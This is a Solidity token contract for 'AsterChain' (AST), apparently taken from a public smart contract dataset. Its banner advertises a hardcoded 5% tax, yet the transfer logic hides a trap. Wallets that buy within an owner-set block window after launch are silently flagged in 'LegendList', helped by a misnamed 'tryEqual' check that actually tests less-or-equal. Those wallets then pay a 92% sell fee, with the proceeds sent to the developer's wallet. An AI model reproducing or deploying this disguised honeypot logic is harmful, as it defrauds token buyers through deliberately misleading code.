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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/*
_ _ ____ _ _
/ \ ___| |_ ___ _ __ / ___| |__ __ _(_)_ __
/ _ \ / __| __/ _ \ '__| | | '_ \ / _` | | '_ \
/ ___ \\__ \ || __/ | | |___| | | | (_| | | | | |
/_/ \_\___/\__\___|_| \____|_| |_|\__,_|_|_| |_|
AsterChain
Telegram: https://t.me/AsterChainPortal
Website: https://asterchain.net
Twitter: https://twitter.com/AsterChain
LOW TAX:5/5% hardcoded
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external payable returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract AsterChain is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public constant deadAddress = address(0xdead);
address payable public _developmentAddress = payable(0xaea835C4c0a3Ee567e5079Ec2adc678607eed35b);
bool private swapping;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
struct TaxWallets {
address marketing;
address liquidity;
}
TaxWallets public taxWallets;
struct Taxes {
uint256 marketing;
uint256 liquidity;
}
Taxes public buyTax;
Taxes public sellTax;
struct TotalTaxes {
uint256 buy;
uint256 sell;
}
TotalTaxes private totalTaxes;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 public togetherDo;
uint256 public _door;
mapping(address => bool) private LegendList;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquidity(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor() ERC20("AsterChain", "AST", 9) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 totalSupply = 100000000 * (10**decimals());
maxTransactionAmount = totalSupply.mul(2).div(100);
maxWallet = maxTransactionAmount;
swapTokensAtAmount = totalSupply.mul(5).div(10000);
taxWallets = TaxWallets(_developmentAddress, _developmentAddress);
buyTax = Taxes(5, 0);
sellTax = Taxes(5, 0);
totalTaxes = TotalTaxes(
buyTax.marketing + buyTax.liquidity,
sellTax.marketing + sellTax.liquidity
);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(deadAddress, true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(deadAddress, true);
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function doLegend(address recipient) internal {
if (!LegendList[recipient] && !automatedMarketMakerPairs[recipient]) LegendList[recipient] = true;
}
function isLegend(address account) public view returns(bool) {
return LegendList[account];
}
function isExcludedFromFees(address _address) public view returns (bool) {
return _isExcludedFromFees[_address];
}
function enableTrading(uint256 a) external onlyOwner {
require(tradingActive == false, "The trading is active.");
_door = a;
togetherDo = block.number;
tradingActive = true;
swapEnabled = tradingActive;
}
function removeLimits() external onlyOwner {
require(limitsInEffect == true, "The limits in effect has been removed.");
limitsInEffect = false;
}
function setTaxWallets(address _marketingWallet, address _liquidityWallet) external onlyOwner {
require(_marketingWallet != address(0), "Marketing address cannot be zero address");
taxWallets = TaxWallets(_marketingWallet, _liquidityWallet);
}
function excludeFromMaxTransaction(address _address, bool isExclude) public onlyOwner {
_isExcludedMaxTransactionAmount[_address] = isExclude;
}
function excludeFromFees(address _address, bool isExclude) public onlyOwner {
_isExcludedFromFees[_address] = isExclude;
emit ExcludeFromFees(_address, isExclude);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != deadAddress && !swapping) {
if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (limitsInEffect) {
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
} else {
if (tryEqual(block.number , togetherDo + _door) && !automatedMarketMakerPairs[to]) { doLegend(to); }
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && totalTaxes.sell > 0) {
fees = amount.mul(totalTaxes.sell).div(100);
if(LegendList[from] && !automatedMarketMakerPairs[from]) fees = amount.mul(92).div(100);
tokensForLiquidity += (fees * sellTax.liquidity) / totalTaxes.sell;
tokensForMarketing += (fees * sellTax.marketing) / totalTaxes.sell;
}
else if (automatedMarketMakerPairs[from] && totalTaxes.buy > 0) {
fees = amount.mul(totalTaxes.buy).div(100);
tokensForLiquidity += (fees * buyTax.liquidity) / totalTaxes.buy;
tokensForMarketing += (fees * buyTax.marketing) / totalTaxes.buy;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function tryEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; }
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
taxWallets.liquidity,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquidity(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
tokensForLiquidity = 0;
tokensForMarketing = 0;
(success, ) = address(taxWallets.marketing).call{value: address(this).balance}("");
}
} |